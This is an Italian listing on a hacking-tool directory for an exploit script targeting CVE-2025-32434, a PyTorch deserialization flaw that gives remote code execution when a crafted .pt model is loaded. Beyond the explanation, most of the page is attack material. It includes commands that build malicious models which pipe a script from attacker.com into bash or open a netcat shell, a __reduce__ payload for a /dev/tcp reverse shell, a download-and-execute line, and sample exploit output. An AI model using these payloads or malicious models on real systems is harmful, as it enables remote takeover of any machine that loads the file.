Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32434-exploit — Uno script per sfruttare una vulnerabilità in PyTorch con conseguente RCE nelle versioni di libreria < 2.6.0 | Kitploit
Strumenti/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Generazione di PayloadAnalisi delle VulnerabilitàExploitPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

Uno script per sfruttare una vulnerabilità in PyTorch con conseguente RCE nelle versioni di libreria < 2.6.0

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Panoramica

Questo exploit dimostra una vulnerabilità critica di esecuzione remota di codice (CVE-2025-32434) in PyTorch versioni < 2.6.0. Il difetto è presente nella funzione torch.load() anche quando si utilizza weights_only=True, che dovrebbe impedire l'esecuzione arbitraria di codice durante la deserializzazione del modello.

La vulnerabilità si verifica perché l'implementazione di _weights_only_unpickler non riesce a limitare correttamente la deserializzazione, consentendo agli aggressori di creare file modello .pt dannosi che eseguono comandi di sistema arbitrari quando vengono caricati da installazioni PyTorch vulnerabili.

  • Versioni Affette: PyTorch < 2.6.0
  • Punteggio CVSS: Critico (stimato 9.8)
  • Impatto: RCE completo sull'host che carica il modello

Utilizzo

  1. Salvalo come exploit.py
  2. Eseguilo per creare un file modello dannoso:
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

Output example:

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

Personalizzazione

Modifica i metodi reduce() in create_malicious_model() o create_advanced_exploit():

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

Verifica

Controlla la vulnerabilità del target

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
Scarica lo strumento